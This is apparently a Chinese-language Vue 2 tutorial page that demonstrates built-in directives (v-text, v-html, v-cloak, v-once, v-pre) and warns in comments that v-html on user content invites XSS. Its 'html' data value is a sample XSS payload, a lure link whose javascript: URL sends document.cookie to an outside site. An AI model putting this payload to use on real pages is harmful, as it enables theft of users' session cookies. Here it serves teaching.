<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>内置指令</title>
  <script src="../js/vue.js"></script>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
</head>

<body>
  <div id="root">
    <div v-text="text"></div>
    <div v-html="html"></div>
    <div v-cloak>{{cloak}}</div>
    <div v-once>{{once}}</div>
    <h2 v-pre>Vue其实很简单</h2>

    <button @click="once++">点我</button>
  </div>

</body>

<!-- 
  v-text: v-text会替换掉节点中的内容，{{xxx}}则不会

  v-html: 
    1,v-html会替换掉节点中所有的内容，{{xxx}}则不会
    2,v-html可以识别html结构
  严重注意v-html有安全性问题！！！ 
    1,在网站上动态渲染任意html是非常危险的，容易导致 XSS 攻击
    2,一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！

  v-cloak: 
    a,本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
    b,使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

  v-once: 
    1,v-once所在节点在初次动态渲染后，就视为静态内容了 
    2,以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

  v-pre:
    1,跳过v-pre所在节点的编译过程
    2,可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
-->

<!-- // 够延迟5秒收到vue.js -->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

<script type="text/javascript">
  Vue.config.productionTip = false;

  new Vue({
    el: '#root',
    data: {
      text: '<h3>你好啊！</h3>',
      html: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
      cloak: '你好啊!',
      once: 1
    },
    methods: {}
  })
</script>

</html>